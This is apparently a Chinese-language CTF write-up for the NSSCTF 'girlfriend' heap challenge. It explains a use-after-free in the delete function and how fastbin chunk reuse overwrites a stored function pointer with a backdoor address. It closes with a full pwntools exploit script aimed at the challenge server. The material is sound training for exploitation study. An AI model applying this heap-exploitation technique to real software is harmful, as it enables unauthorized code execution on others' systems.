nssctf_girfriend

nssctf_girlfriend

checksec

64位,开启了Canary和NX

ida

menu函数,经典的堆题形式,add,delete,show

add

首先有一个girlfriend_list位于bss段用于存储每一个grilfriend_chunk的地址,每一个girlfriend malloc(0x10)的空间,第一个字节储存print_girlfriend_name函数的地址,第二个字节储存girlfriend_name的地址,用户输入size给v3给girlfriend_name malloc(v3)的空间,结构如下图

delete

输入下标,如果是0-9先free name_point再free girlfriend_point,这点会在后续fastbin中体现

show

输出girlfriend_name

思路

在delete中看到只free而没有将指针置NULL经典的UAF,先malloc(0x10)两个,此时chunk如add函数解释的图所示。再free掉他们,此时fastbin如下

此时再malloc(0x20)会将girlfriend2_chunk用掉,由于malloc(0x20)所以这段空间会在heap里面,而不是从fastbin中拿,此时再malloc(0x10),girlfriend4_chunk会用掉2_name同时4_name会用掉girlfriend1_chunk那此时就可以将print_girlfriend1_name地址换成backdoor。再show(0)。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node4.anna.nssctf.cn', 28690)
#io = process('./girlfriend')
elf = ELF('./girlfriend')
backdoor = elf.symbols['backdoor']

def add(size, name):
io.sendlineafter(b'choice :', b'1')
io.sendlineafter(b'size is :', str(size))
io.sendlineafter(b'name is :', name)

def delete(index):
io.sendlineafter(b'choice :', b'2')
io.sendlineafter(b'Index :', str(index))

def show(index):
io.sendlineafter(b'choice :', b'3')
io.sendlineafter(b'Index :', str(index))

def exit():
io.sendlineafter(b'choice :', b'4')

add(0x10, 'mg1')
add(0x10, 'mg2')
delete(0)
delete(1)
add(0x20, 'mg3')
add(0x10, p64(backdoor))
show(0)

io.interactive()